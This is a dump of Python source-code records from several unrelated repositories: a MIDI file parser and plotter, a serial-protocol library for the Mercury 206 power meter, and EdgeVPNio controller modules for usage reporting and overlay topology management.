elif (status\n & 0xF0) == MIDIFile.EventName[\"VoiceProgramChange\"]:\n previousState = status\n channel = status & 0x0F\n programID = f.read(1)\n events.append(MIDIEvent(MIDIEvent.Type.other))\n\n elif (status &\n 0xF0) == MIDIFile.EventName[\"VoiceChannelPressure\"]:\n previousState = status\n\n channel = status & 0x0F\n channelPressure = f.read(1)\n events.append(MIDIEvent(MIDIEvent.Type.other))\n\n elif (status\n & 0xF0) == MIDIFile.EventName[\"VoicePitchBend\"]:\n previousState = status\n\n channel = status & 0x0F\n LS7B = f.read(1)\n MS7B = f.read(1)\n events.append(MIDIEvent(MIDIEvent.Type.other))\n\n elif (status\n & 0xF0) == MIDIFile.EventName[\"SystemExclusive\"]:\n previousState = 0\n\n if status == 0xFF:\n # read meta message\n n = f.read(1)\n type = int.from_bytes(n, \"big\")\n length = readValue()\n\n if type == MIDIFile.MetaEventName[\"MetaSequence\"]:\n print(\"Sequence number: \" + f.read(1) + \" \" +\n f.read(1))\n elif type == MIDIFile.MetaEventName[\"MetaText\"]:\n print(\"Text: \" + readString(length))\n elif type == MIDIFile.MetaEventName[\n \"MetaCopyright\"]:\n print(\"Copyright: \" + readString(length))\n elif type == MIDIFile.MetaEventName[\n \"MetaTrackName\"]:\n MIDIFile.tracks[chunk].setName(\n readString(length))\n print(\"Name: \" +\n str(MIDIFile.tracks[chunk].name))\n elif type == MIDIFile.MetaEventName[\n \"MetaInstrumentName\"]:\n MIDIFile.tracks[chunk].setInstrument(\n readString(length))\n print(\"Instrument: \" +\n MIDIFile.tracks[chunk].instrument)\n elif type == MIDIFile.MetaEventName[\"MetaLyrics\"]:\n print(\"Lyrics: \" + readString(length))\n elif type == MIDIFile.MetaEventName[\"MetaMarker\"]:\n print(\"Marker: \" + readString(length))\n elif type == MIDIFile.MetaEventName[\n \"MetaCuePoint\"]:\n print(\"Cue: \" + readString(length))\n elif type == MIDIFile.MetaEventName[\n \"MetaChannelPrefix\"]:\n print(\"Prefix: \" + str(f.read(1)))\n elif type == MIDIFile.MetaEventName[\n \"MetaEndOfTrack\"]:\n endTrack = True\n elif type == MIDIFile.MetaEventName[\n \"MetaSetTempo\"]:\n n1 = 0\n n = int.from_bytes(f.read(1), \"big\")\n n1 |= n << 16\n n = int.from_bytes(f.read(1), \"big\")\n n1 |= n << 8\n n = int.from_bytes(f.read(1), \"big\")\n n1 |= n << 0\n MIDIFile.bpm = 60000000 / n1\n if n1 != MIDIFile.tempo:\n MIDIFile.tempo = n1\n print(\"Tempo: \" + str(MIDIFile.tempo) +\n \" (\" + str(MIDIFile.bpm) + \"bpm)\")\n elif type == MIDIFile.MetaEventName[\n \"MetaSMPTEOffset\"]:\n print(\"SMPTE: H:\" + str(f.read(1)) + \" M:\" +\n str(f.read(1)) + \" S:\" + str(f.read(1)) +\n \" FR:\" + str(f.read(1)) + \" FF:\" +\n str(f.read(1)))\n elif type == MIDIFile.MetaEventName[\n \"MetaTimeSignature\"]:\n n1 = f.read(1)\n num = f.read(1)\n n2 = int.from_bytes(num, \"big\")\n print(\"Time Signature: \" +\n str(int.from_bytes(n1, \"big\")) + \"/\" +\n str(2 << n2))\n n1 = f.read(1)\n num = f.read(1)\n print(\"Clocks Per Metronome Tick: \" +\n str(int.from_bytes(n1, \"big\")))\n print(\n \"Number of 1/32 notes per 24 MIDI clocks: \"\n + str(int.from_bytes(num, \"big\")))\n elif type == MIDIFile.MetaEventName[\n \"MetaKeySignature\"]:\n print(\"Key Signature: \" +\n str(int.from_bytes(f.read(1), \"big\")))\n print(\"Minor Key: \" +\n str(int.from_bytes(f.read(1), \"big\")))\n elif type == MIDIFile.MetaEventName[\"MetaPort\"]:\n print(\"Meta Port\")\n f.read(1)\n elif (type == MIDIFile.\n MetaEventName[\"MetaSequencerSpecific\"]):\n print(\"Sequencer Specific: \" +\n readString(length))\n else:\n print(\"Unrecognised meta event: \" + str(type))\n\n if status == 0xF0:\n print(\"System Executive Begins\" +\n readString(readValue()))\n\n if status == 0xF7:\n print(\"System Executive Ends\" +\n readString(readValue()))\n else:\n print(\"Unrecognised Status Byte: \" + str(status))\n\n # add the list of events to the track\n MIDIFile.tracks[chunk].setEvents(events)\n\n # creating list of notes used in every track\n for track in MIDIFile.tracks:\n wallTime = 0\n processedNotes = [] # notes that are being processed\n notes = [] # notes that have been processed\n\n for eve in track.events:\n # getting the total time since\n wallTime = wallTime + eve.deltaTick\n\n if eve.type == MIDIEvent.Type.noteON:\n processedNotes.append(\n MIDINote(eve.key, eve.velocity, wallTime, 0))\n # if a note has ended\n elif eve.type == MIDIEvent.Type.noteOFF:\n\n def findNote(noteList):\n for n in noteList:\n if n.key == eve.key:\n return n\n\n # finding the note when it began\n note = findNote(processedNotes)\n\n if note:\n processedNotes.remove(note)\n # getting duration\n note.duration = wallTime - note.startTime\n notes.append(note)\n\n # checking minimum and maximum of a note in a track\n track.minNote = min(\n track.minNote, int.from_bytes(note.key, \"big\"))\n track.maxNote = min(\n track.maxNote, int.from_bytes(note.key, \"big\"))\n # Setting the track's notes\n track.notes = notes\n\n def __repr__(self):\n for track in self.tracks:\n if track.name != \"\":\n MIDIFile.temp = MIDIFile.temp + repr(track)\n return MIDIFile.temp\n\n\ndemo = MIDIFile(\"bach_846.mid\")\nprint(demo.tracks[1].notes)\nscript = repr(demo)\nf = open(\"openedMIDI.txt\", \"w\")\nf.write(script)\nf.close()\n\nimport matplotlib.pyplot as plt\n\nplt.style.use('seaborn')\n\nfor track in demo.tracks:\n pitch = [ord(note.key) for note in track.notes]\n tick = [note.startTime for note in track.notes]\n if pitch:\n plt.fill_between(tick, pitch, alpha=0.4)\n plt.plot(tick, pitch, label=track.name, alpha=0.6)\n\nplt.xlabel(\"Time step\")\nplt.ylabel(\"Pitch\")\nplt.legend(loc='upper right')\nplt.savefig('music.png')\n", "id": "8096587", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "main.py" } ]
0
bhrte
[ { "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n__author__ = '<NAME>'\n__email__ = '<EMAIL>'\n__version__ = '0.0.1'\n", "id": "2393711", "language": "Python", "matching_score": 0, "max_stars_count": 16, "path": "mercury206/__init__.py" }, { "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\ntest_mercury206\n----------------------------------\n\nTests for `mercury206` package.\n\"\"\"\n\nimport unittest\nimport doctest\n\nimport mercury206.protocol\nimport mercury206.utils\n\n\ndef load_tests(loader, tests, ignore):\n tests.addTests(doctest.DocTestSuite(mercury206.protocol))\n tests.addTests(doctest.DocTestSuite(mercury206.utils))\n return tests\n\n\nif __name__ == '__main__':\n unittest.main()", "id": "1835217", "language": "Python", "matching_score": 0.00796099379658699, "max_stars_count": 16, "path": "tests/test_mercury206.py" }, { "content": "# coding=utf8\n\nfrom struct import pack, unpack\n\nfrom minimalmodbus import _calculateCrcString as modbus_crc\n\n\nADDRESS_FMT = '!I' # unsigned integer in network order\n\n\ndef pack_msg(address, *args, **kwargs):\n r\"\"\"Pack power meter address and args into string,\n add modbus CRC by default\n\n Keyword Arguments:\n - crc: optional bool, True by default, controls addition of CRC\n\n Return string with bytes\n\n >>> from utils import pretty_hex\n >>> pretty_hex(pack_msg(10925856, 0x28))\n '00 A6 B7 20 28 AF 70'\n >>> pretty_hex(pack_msg(10925856, 0x28, crc=False))\n '00 A6 B7 20 28'\n >>> pretty_hex(pack_msg(10925856, 0x2b))\n '00 A6 B7 20 2B EF 71'\n \"\"\"\n if isinstance(address, int):\n address = pack(ADDRESS_FMT, address)\n else:\n pad_len = len(address) % 4\n address = '\\x00' * pad_len + address\n params = list(args)\n for idx, arg in enumerate(params):\n if isinstance(arg, int):\n params[idx] = pack('B', arg)\n msg = address + ''.join(params)\n if kwargs.get('crc', True):\n msg += modbus_crc(msg)\n return msg\n\n\ndef unpack_msg(message):\n r\"\"\"Unpack message string.\n Assume the first 4 bytes carry power meter address\n\n Return tuple with: integer power meter address and list of bytes\n\n >>> unpack_msg('\\x00\\xA6\\xB7\\x20\\x28')\n (10925856, [40])\n >>> unpack_msg('\\x00\\xA6\\xB7\\x20\\x27\\x00\\x26\\x56\\x16\\x00\\x13\\x70\\x91\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x47\\x78')\n (10925856, [39, 0, 38, 86, 22, 0, 19, 112, 145, 0, 0, 0, 0, 0, 0, 0, 0, 71, 120])\n >>> unpack_msg('\\x00\\xA6\\xB7\\x20')\n (10925856, [])\n \"\"\"\n address = unpack(ADDRESS_FMT, message[:4])[0]\n data = [unpack('B', c)[0] for c in message[4:]]\n return address, data\n", "id": "5949392", "language": "Python", "matching_score": 1.931053876876831, "max_stars_count": 0, "path": "mercury206/protocol.py" }, { "content": "# coding=utf8\n\n\ndef upper_hex(byte):\n r\"\"\"\n >>> upper_hex('\\x00')\n '00'\n >>> upper_hex(0x0)\n '00'\n >>> upper_hex(5)\n '05'\n \"\"\"\n if isinstance(byte, str):\n byte = ord(byte)\n return '%02X' % byte\n\n\ndef pretty_hex(byte_string):\n r\"\"\"\n >>> pretty_hex('Python')\n '50 79 74 68 6F 6E'\n >>> pretty_hex('\\x00\\xa1\\xb2')\n '00 A1 B2'\n >>> pretty_hex([1, 2, 3, 5, 8, 13])\n '01 02 03 05 08 0D'\n \"\"\"\n return ' '.join(upper_hex(c) for c in byte_string)\n\n\ndef digitize(byte_string):\n r\"\"\"\n >>> digitize('\\x00\\x12\\x34')\n 1234\n \"\"\"\n str_num = ''.join(upper_hex(b) for b in byte_string)\n return int(str_num)\n\n\ndef digitized_triple(data):\n r\"\"\"\n >>> digitized_triple('\\x01\\x23\\x45\\x67\\x89' * 3)\n [234567.89, 12345.67, 890123.45]\n \"\"\"\n return [digitize(data[i:i+4]) / 100.0 for i in range(1, 13, 4)]\n", "id": "2648278", "language": "Python", "matching_score": 0.5685696601867676, "max_stars_count": 0, "path": "mercury206/utils.py" }, { "content": "# coding=utf8\n\"\"\"Communications module\"\"\"\n\nimport logging\nimport functools\nimport time\n\nimport serial\n\nfrom protocol import pack_msg, unpack_msg\nfrom utils import pretty_hex\n\n\nlogger = logging.getLogger(__file__)\n\n\nclass CommunicationError(Exception):\n pass\n\n\nclass UnexpectedAddress(CommunicationError):\n pass\n\n\ndef open_serial(\n port='/dev/ttyUSB0', baudrate=9600, parity=serial.PARITY_NONE,\n bytesize=8, stopbits=1, timeout=0.05\n):\n port = serial.Serial(\n port=port, baudrate=baudrate, parity=parity,\n bytesize=bytesize, stopbits=stopbits, timeout=timeout)\n return port\n\n\ndef send_command(port, address, command, *params, **kwargs):\n MAX_NUMBER_OF_BYTES = 1000\n message = pack_msg(address, command, *params, crc=kwargs.get('crc', True))\n answer = ''\n while not answer:\n port.write(message)\n logger.debug('T %s', pretty_hex(message))\n time.sleep(0.1)\n answer = port.read(MAX_NUMBER_OF_BYTES)\n logger.debug('R %s', pretty_hex(answer))\n if message + message[:4] == answer[:len(message)+4]:\n logger.debug(\"E %s\", pretty_hex(answer[:len(message)]))\n answer = answer[len(message):]\n received_address, received_data = unpack_msg(answer)\n if received_address != address:\n raise UnexpectedAddress(received_address)\n return received_data\n\n\ndef command_shortcut(port, address):\n return functools.partial(send_command, port, address)\n", "id": "6275069", "language": "Python", "matching_score": 1.929688811302185, "max_stars_count": 0, "path": "mercury206/communications.py" }, { "content": "# coding=utf8\n\"Console scripts entries\"\nfrom __future__ import print_function\n\nimport logging\nlogging.basicConfig(level=logging.INFO, format=\"%(message)s\")\n\nimport config\nfrom communications import open_serial\nimport commands\n\n\n\ndef sample_config():\n \"Create sample INI file\"\n config.create_sample_config()\n return 0\n\n\ndef display_readings():\n \"Display meter readings\"\n settings = config.get_settings()\n port = open_serial(settings['device'])\n readings = commands.display_readings(port, settings['address'])\n print(\"{} kWh;{} kWh;{} kWh\".format(*readings))\n return 0\n\n\ndef instant_vcp():\n \"Display instant voltage, current and power consumption\"\n settings = config.get_settings()\n port = open_serial(settings['device'])\n voltage, current, power = commands.instant_vcp(port, settings['address'])\n print(\"{0} V;{1} A;{2} kW\".format(voltage, current, power))\n return 0\n", "id": "11474572", "language": "Python", "matching_score": 1.643494963645935, "max_stars_count": 0, "path": "mercury206/scripts.py" } ]
1.106032
PrajwalaNagaraj
[ { "content": "# EdgeVPNio\n# Copyright 2020, University of Florida\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nimport datetime\nimport hashlib\nimport threading\ntry:\n import simplejson as json\nexcept ImportError:\n import json\nimport urllib.request as urllib2\nfrom framework.ControllerModule import ControllerModule\n\n\nclass UsageReport(ControllerModule):\n def __init__(self, cfx_handle, module_config, module_name):\n super(UsageReport, self).__init__(cfx_handle, module_config, module_name)\n self._stat_data = None \n self._lck = threading.Lock()\n self._report_id = 0\n self._report = {\"Version\": self._cfx_handle.query_param(\"Version\"),\n \"NodeId\": hashlib.sha256(self.node_id.encode(\"utf-8\")).hexdigest()}\n \n def initialize(self):\n self.log(\"LOG_INFO\", \"Module loaded\")\n\n def process_cbt(self, cbt):\n if cbt.op_type == \"Request\":\n self.req_handler_default(cbt)\n else:\n if cbt.request.action == \"TOP_QUERY_KNOWN_PEERS\":\n self.resp_handler_query_known_peers(cbt)\n else:\n self.resp_handler_default(cbt)\n\n def timer_method(self):\n self.register_cbt(\"Topology\", \"TOP_QUERY_KNOWN_PEERS\", None)\n\n def terminate(self):\n pass\n\n def create_report(self, data):\n self._report[\"ReportId\"] = self._report_id\n self._report_id += 1\n for olid in data:\n olid_hash = hashlib.sha256(olid.encode(\"utf-8\")).hexdigest()\n if not olid_hash in self._report:\n self._report[olid_hash] = []\n for peer_id in data[olid]:\n peer_id_hash = hashlib.sha256(peer_id.encode(\"utf-8\")).hexdigest()\n if not peer_id_hash in self._report[olid_hash]:\n self._report[olid_hash].append(peer_id_hash)\n\n def submit_report(self, rpt_data):\n self.log(\"LOG_DEBUG\", \"report data= %s\", rpt_data )\n url = None\n try:\n url = self.config[\"WebService\"]\n req = urllib2.Request(url=url, data=rpt_data)\n req.add_header(\"Content-Type\", \"application/json\")\n res = urllib2.urlopen(req)\n if res.getcode() != 200:\n self.log(\"LOG_WARNING\", \"Usage report server indicated error: %s\",\n res.getcode())\n except (urllib2.HTTPError, urllib2.URLError) as error:\n log = \"Usage report submission failed to server {0}. \" \\\n \"Error: {1}\".format(url, error)\n self.log(\"LOG_WARNING\", log)\n\n def resp_handler_query_known_peers(self, cbt):\n if cbt.response.status:\n data = cbt.response.data\n with self._lck:\n self.create_report(data)\n rpt_data = json.dumps(self._report).encode('utf8')\n self._report = {\"Version\": self._cfx_handle.query_param(\"Version\"),\n \"NodeId\": hashlib.sha256(self.node_id.encode(\"utf-8\")).hexdigest()}\n self.submit_report(rpt_data)\n self.free_cbt(cbt)", "id": "7636111", "language": "Python", "matching_score": 3.4527788162231445, "max_stars_count": 21, "path": "controller/modules/UsageReport.py" }, { "content": "# EdgeVPNio\n# Copyright 2020, University of Florida\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nimport math\nimport random\nimport threading\nimport time\nfrom datetime import datetime\nfrom framework.CFx import CFX\nfrom framework.ControllerModule import ControllerModule\nfrom framework.Modlib import RemoteAction\nfrom .NetworkBuilder import NetworkBuilder\nfrom .NetworkBuilder import EdgeRequest\nfrom .NetworkBuilder import EdgeResponse\nfrom .NetworkBuilder import EdgeNegotiate\nfrom .GraphBuilder import GraphBuilder\n\n\nclass DiscoveredPeer():\n ExclusionBaseInterval = 60\n def __init__(self, peer_id):\n self.peer_id = peer_id\n self.is_banned = False # bars conn attempts from local node, the peer can still recon\n self.successive_fails = 0\n self.available_time = time.time()\n\n def __repr__(self):\n state = \"DiscoveredPeer<peer_id=%s, is_banned=%s, successive_fails=%s, available_time=%s>\"\\\n % (self.peer_id[:7], self.is_banned, self.successive_fails,\n datetime.fromtimestamp(self.available_time))\n return state\n\n def __str__(self):\n state = \"DiscoveredPeer<peer_id=%s>\" % (self.peer_id[:7])\n return state\n\n def exclude(self):\n self.successive_fails += 1\n self.available_time = (random.randint(2, 5) * DiscoveredPeer.ExclusionBaseInterval *\n self.successive_fails) + time.time()\n if self.successive_fails >= 3:\n self.is_banned = True\n\n def restore(self):\n self.is_banned = False\n self.successive_fails = 0\n\n def presence(self):\n self.available_time = time.time()\n if self.is_banned and self.successive_fails == 0:\n self.restore()\n elif self.is_banned and self.successive_fails > 0:\n self.successive_fails -= 1\n\n @property\n def is_available(self):\n return not self.is_banned and time.time() >= self.available_time\n\nclass Topology(ControllerModule, CFX):\n def __init__(self, cfx_handle, module_config, module_name):\n super(Topology, self).__init__(cfx_handle, module_config, module_name)\n self._net_ovls = {}\n self._lock = threading.Lock()\n self._topo_changed_publisher = None\n\n def __repr__(self):\n for olid in self._net_ovls:\n num_avail = 0\n for peer in self._net_ovls[olid][\"KnownPeers\"].values():\n if peer.is_available:\n num_avail += 1\n self._net_ovls[olid][\"NumAvailblePeers\"] = num_avail\n state = \"Topology<%s>\" % (self._net_ovls)\n return state\n\n def initialize(self):\n self._topo_changed_publisher = self._cfx_handle.publish_subscription(\"TOP_TOPOLOGY_CHANGE\")\n self._cfx_handle.start_subscription(\"Signal\", \"SIG_PEER_PRESENCE_NOTIFY\")\n self._cfx_handle.start_subscription(\"LinkManager\", \"LNK_TUNNEL_EVENTS\")\n nid = self.node_id\n for olid in self._cfx_handle.query_param(\"Overlays\"):\n max_wrk_ld = int(self.config[\"Overlays\"][olid].get(\"MaxConcurrentEdgeSetup\", 3))\n self._net_ovls[olid] = dict(RelinkCount=1, NewPeerCount=0, NumAvailblePeers=0,\n NetBuilder=NetworkBuilder(self, olid, nid, max_wrk_ld),\n KnownPeers=dict(), NegoConnEdges=dict(),\n OndPeers=[])\n try:\n # Subscribe for data request notifications from OverlayVisualizer\n self._cfx_handle.start_subscription(\"OverlayVisualizer\",\n \"VIS_DATA_REQ\")\n except NameError as err:\n if \"OverlayVisualizer\" in str(err):\n self.register_cbt(\"Logger\", \"LOG_WARNING\",\n \"OverlayVisualizer module not loaded.\"\n \" Visualization data will not be sent.\")\n self.register_cbt(\"Logger\", \"LOG_INFO\", \"Module loaded\")\n\n def terminate(self):\n pass\n\n def resp_handler_create_tnl(self, cbt):\n params = cbt.request.params\n olid = params[\"OverlayId\"]\n peer_id = params[\"PeerId\"]\n if not cbt.response.status:\n self.register_cbt(\"Logger\", \"LOG_WARNING\", \"Failed to create topology edge to {0}. {1}\"\n .format(cbt.request.params[\"PeerId\"], cbt.response.data))\n self._net_ovls[olid][\"KnownPeers\"][peer_id].exclude()\n self.free_cbt(cbt)\n\n def resp_handler_remove_tnl(self, cbt):\n if not cbt.response.status:\n self.register_cbt(\"Logger\", \"LOG_WARNING\",\n \"Failed to remove topology edge {0}\".format(cbt.response.data))\n params = cbt.request.params\n params[\"UpdateType\"] = \"RemoveEdgeFailed\"\n params[\"TunnelId\"] = None\n olid = params[\"OverlayId\"]\n self._net_ovls[olid][\"NetBuilder\"].update_edge_state(params)\n self.free_cbt(cbt)\n\n def req_handler_peer_presence(self, cbt):\n \"\"\"\n Handles peer presence notification. Determines when to build a new graph and refresh\n connections.\n \"\"\"\n peer = cbt.request.params\n peer_id = peer[\"PeerId\"]\n olid = peer[\"OverlayId\"]\n new_disc = False\n disc = self._net_ovls[olid][\"KnownPeers\"].get(peer_id)\n if not disc:\n disc = DiscoveredPeer(peer_id)\n self._net_ovls[olid][\"KnownPeers\"][peer_id] = disc\n new_disc = True\n if new_disc or not disc.is_available:\n disc.presence()\n self._net_ovls[olid][\"NewPeerCount\"] += 1\n if self._net_ovls[olid][\"NewPeerCount\"] >= self.config[\"PeerDiscoveryCoalesce\"]:\n self.register_cbt(\"Logger\", \"LOG_DEBUG\", \"Coalesced {0} new peer discovery, \"\n \"initiating network refresh\"\n .format(self._net_ovls[olid][\"NewPeerCount\"]))\n self._update_overlay(olid)\n else:\n self.register_cbt(\"Logger\", \"LOG_DEBUG\", \"{0} new peers discovered, delaying \"\n \"refresh\".format(self._net_ovls[olid][\"NewPeerCount\"]))\n cbt.set_response(None, True)\n self.complete_cbt(cbt)\n\n def req_handler_vis_data(self, cbt):\n topo_data = {}\n try:\n edges = {}\n for olid in self._net_ovls:\n nb = self._net_ovls[olid][\"NetBuilder\"]\n if nb:\n adjl = nb.get_adj_list()\n for k in adjl.conn_edges:\n ce = adjl.conn_edges[k]\n ced = {\"PeerId\": ce.peer_id, \"EdgeId\": ce.edge_id,\n \"MarkedForDeleted\": ce.marked_for_delete,\n \"CreatedTime\": ce.created_time,\n \"ConnectedTime\": ce.connected_time,\n \"State\": ce.edge_state, \"Type\": ce.edge_type}\n edges[ce.edge_id] = ced\n topo_data[olid] = edges\n cbt.set_response({\"Topology\": topo_data}, bool(topo_data))\n self.complete_cbt(cbt)\n except KeyError:\n cbt.set_response(data=None, status=False)\n self.complete_cbt(cbt)\n self.register_cbt(\"Logger\", \"LOG_WARNING\", \"Topology data not available {0}\".\n format(cbt.response.data))\n\n def req_handler_tnl_data_update(self, cbt):\n params = cbt.request.params\n olid = params[\"OverlayId\"]\n peer_id = params[\"PeerId\"]\n if params[\"UpdateType\"] == \"LnkEvAuthorized\":\n disc = self._net_ovls[olid][\"KnownPeers\"].get(peer_id)\n if not disc:\n disc = DiscoveredPeer(peer_id)\n self._net_ovls[olid][\"KnownPeers\"][peer_id] = disc\n disc.presence()\n elif params[\"UpdateType\"] == \"LnkEvCreating\":\n pass\n elif params[\"UpdateType\"] == \"LnkEvConnected\":\n self._net_ovls[olid][\"KnownPeers\"][peer_id].restore()\n self._do_topo_change_post(olid)\n #elif params[\"UpdateType\"] == \"LnkEvDisconnected\" or \\\n # params[\"UpdateType\"] == \"LnkEvDeauthorized\":\n elif params[\"UpdateType\"] == \"LnkEvDisconnected\":\n pass\n elif params[\"UpdateType\"] == \"LnkEvDeauthorized\":\n self._net_ovls[olid][\"KnownPeers\"][peer_id].exclude()\n self.log(\"LOG_DEBUG\", \"Excluding peer %s until %s\", peer_id,\n str(datetime.fromtimestamp(\n self._net_ovls[olid][\"KnownPeers\"][peer_id].available_time)))\n elif params[\"UpdateType\"] == \"LnkEvRemoved\":\n self._do_topo_change_post(olid)\n else:\n self.log(\"LOG_WARNING\", \"Unknown link update type: %s\", params[\"UpdateType\"])\n self._net_ovls[olid][\"NetBuilder\"].update_edge_state(params)\n self._update_overlay(olid)\n cbt.set_response(None, True)\n self.complete_cbt(cbt)\n\n def req_handler_req_ond_tunnel(self, cbt):\n \"\"\"\n Add the request params for creating an on demand tunnel\n overlay_id, peer_id, ADD/REMOVE op string\n \"\"\"\n op = cbt.request.params\n olid = op[\"OverlayId\"]\n peer_id = op[\"PeerId\"]\n if (olid in self._net_ovls and peer_id in self._net_ovls[olid][\"KnownPeers\"] and\n self._net_ovls[olid][\"KnownPeers\"][peer_id].is_available):\n self._net_ovls[olid][\"OndPeers\"].append(op)\n self.register_cbt(\"Logger\", \"LOG_DEBUG\", \"Added on-demand tunnel request to queue {0}\".\n format(op))\n else:\n self.register_cbt(\"Logger\", \"LOG_WARNING\", \"Invalid on-demand tunnel request \"\n \"parameter, OverlayId={0}, PeerId={1}\".format(olid, peer_id))\n\n def req_handler_negotiate_edge(self, edge_cbt):\n \"\"\" Role B, decide if the request for an incoming edge is accepted or rejected \"\"\"\n edge_req = EdgeRequest(**edge_cbt.request.params)\n olid = edge_req.overlay_id\n if olid not in self.config[\"Overlays\"]:\n self.register_cbt(\"Logger\", \"LOG_WARNING\", \"The requested overlay is not specified in \"\n \"local config, the edge request is discarded\")\n edge_cbt.set_response(\"Unknown overlay id specified in edge request\", False)\n self.complete_cbt(edge_cbt)\n return\n peer_id = edge_req.initiator_id\n if peer_id not in self._net_ovls[olid][\"KnownPeers\"]:\n # this node miss the presence notification, so add to KnownPeers\n self._net_ovls[olid][\"KnownPeers\"][peer_id] = DiscoveredPeer(peer_id)\n if self.config[\"Overlays\"][olid].get(\"Role\", \"Switch\").casefold() == \"leaf\".casefold():\n self.register_cbt(\"Logger\", \"LOG_INFO\", \"Rejected edge negotiation, \"\n \"this leaf device is not accepting edge requests\")\n edge_cbt.set_response(\"E6 - Not accepting incoming connections, leaf device\", False)\n self.complete_cbt(edge_cbt)\n return\n edge_resp = self._net_ovls[olid][\"NetBuilder\"].negotiate_incoming_edge(edge_req)\n if edge_resp.is_accepted:\n peer_id = edge_req.initiator_id\n edge_id = edge_req.edge_id\n self._net_ovls[olid][\"NegoConnEdges\"][peer_id] = (edge_req, edge_resp)\n self._authorize_edge(olid, peer_id, edge_id, parent_cbt=edge_cbt)\n else:\n edge_cbt.set_response(edge_resp.data, False)\n self.complete_cbt(edge_cbt)\n\n def req_handler_query_known_peers(self, cbt):\n peer_list = {}\n for olid in self._net_ovls:\n if not olid in peer_list:\n peer_list[olid] = []\n for peer_id, peer in self._net_ovls[olid][\"KnownPeers\"].items():\n if peer.is_available:\n peer_list[olid].append(peer_id)\n cbt.set_response(peer_list, True)\n self.complete_cbt(cbt)\n\n def resp_handler_auth_tunnel(self, cbt):\n \"\"\" Role B\n LNK auth completed, add the CE to Netbuilder and send response to initiator ie., Role A\n \"\"\"\n olid = cbt.request.params[\"OverlayId\"]\n peer_id = cbt.request.params[\"PeerId\"]\n if cbt.response.status:\n _, edge_resp = self._net_ovls[olid][\"NegoConnEdges\"].pop(peer_id)\n # self._net_ovls[olid][\"NetBuilder\"].add_incoming_auth_conn_edge(peer_id)\n else:\n self._net_ovls[olid][\"NegoConnEdges\"].pop(peer_id, None) #pop fails as no matching\n #peer_id, posssible duplication of create edge request\n edge_resp = EdgeResponse(\"E4 - Tunnel nego failed {0}\"\n .format(cbt.response.data), False)\n nego_cbt = cbt.parent\n self.free_cbt(cbt)\n nego_cbt.set_response(edge_resp.data, edge_resp.is_accepted)\n self.complete_cbt(nego_cbt)\n\n def resp_handler_remote_action(self, cbt):\n \"\"\" Role Node A, initiate edge creation on successful neogtiation \"\"\"\n rem_act = RemoteAction.from_cbt(cbt)\n olid = rem_act.overlay_id\n if olid not in self.config[\"Overlays\"]:\n self.register_cbt(\"Logger\", \"LOG_WARNING\", \"The specified overlay is not in the\"\n \"local config, the rem act response is discarded\")\n self.free_cbt(cbt)\n return\n if not cbt.response.status:\n peer_id = rem_act.recipient_id\n self._net_ovls[olid][\"KnownPeers\"][peer_id].exclude()\n # net builder needs the response, even if failed\n if rem_act.action == \"TOP_NEGOTIATE_EDGE\":\n edge_nego = rem_act.params\n edge_nego[\"is_accepted\"] = rem_act.status\n edge_nego[\"data\"] = rem_act.data\n edge_nego = EdgeNegotiate(**edge_nego)\n self._net_ovls[olid][\"NetBuilder\"].complete_edge_negotiation(edge_nego)\n self.free_cbt(cbt)\n else:\n self.register_cbt(\"Logger\", \"LOG_WARNING\", \"Unrecognized remote action {0}\"\n .format(rem_act.action))\n\n def process_cbt(self, cbt):\n with self._lock:\n if cbt.op_type == \"Request\":\n if cbt.request.action == \"SIG_PEER_PRESENCE_NOTIFY\":\n self.req_handler_peer_presence(cbt)\n elif cbt.request.action == \"VIS_DATA_REQ\":\n self.req_handler_vis_data(cbt)\n elif cbt.request.action == \"LNK_TUNNEL_EVENTS\":\n self.req_handler_tnl_data_update(cbt)\n elif cbt.request.action == \"TOP_REQUEST_OND_TUNNEL\":\n self.req_handler_req_ond_tunnel(cbt)\n elif cbt.request.action == \"TOP_NEGOTIATE_EDGE\":\n self.req_handler_negotiate_edge(cbt)\n elif cbt.request.action == \"TOP_QUERY_KNOWN_PEERS\":\n self.req_handler_query_known_peers(cbt)\n else:\n self.req_handler_default(cbt)\n elif cbt.op_type == \"Response\":\n if cbt.request.action == \"LNK_CREATE_TUNNEL\":\n self.resp_handler_create_tnl(cbt)\n 